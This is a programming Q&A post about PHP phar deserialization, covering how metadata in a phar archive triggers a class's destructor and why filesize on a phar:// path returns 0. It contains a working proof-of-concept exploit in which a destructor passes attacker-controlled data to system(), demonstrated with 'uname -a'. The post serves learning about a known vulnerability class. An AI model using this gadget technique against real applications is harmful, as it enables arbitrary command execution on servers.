phpserializationdeserializationphar

"phar://" prefix for php phar files


I'm learning about php phar deserialization ( introduced BlckHat2010, matured BlackHat2018 )

# create_phar.php
<?php

class SomeClassTheAppLoaded {
    public $data = null;
    public function __construct($data) { $this->data = $data; }
    public function __destruct() { system($this->data); }
}

try {

    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $object = new SomeClassTheAppLoaded('uname -a');
    $phar->setMetadata($object);
    $phar->stopBuffering();

} catch (Exception $e) { echo $e->getMessage(); }

The archive test.phar is created successfully:

$ php --define phar.readonly=0 create_phar.php 1>/dev/null

And when sent to file_exists and filesize triggers the desired vulnerability (uname -a):

# vuln.php
<?php
class SomeClassTheAppLoaded {
    public $data = null;
    public function __construct($data) { $this->data = $data; }
    public function __destruct() { system($this->data); }
}

$size = filesize("phar://test.phar");
print_r("size = $size\n");

# uncomment will print file exists: 1
# $exists = file_exists("phar://test.phar");
# print_r("file exists: $exists\n");

What bothers me is that the returned filesize is wrong (while file_exists is correct)

$ php vuln.php
size = 0
Linux < ... omitted ...> -microsoft-standard-WSL2 < ... omitted ... > x86_64 GNU/Linux

Solution

  • The filesize of the phar is given by filesize('test.phar').

    filesize('phar://test.phar') doesn't mean anything because a phar is a virtual directory, and the size of a directory is not defined.

    filesize('phar://test.phar/test.txt') will return the size of the test.txt entry inside the phar.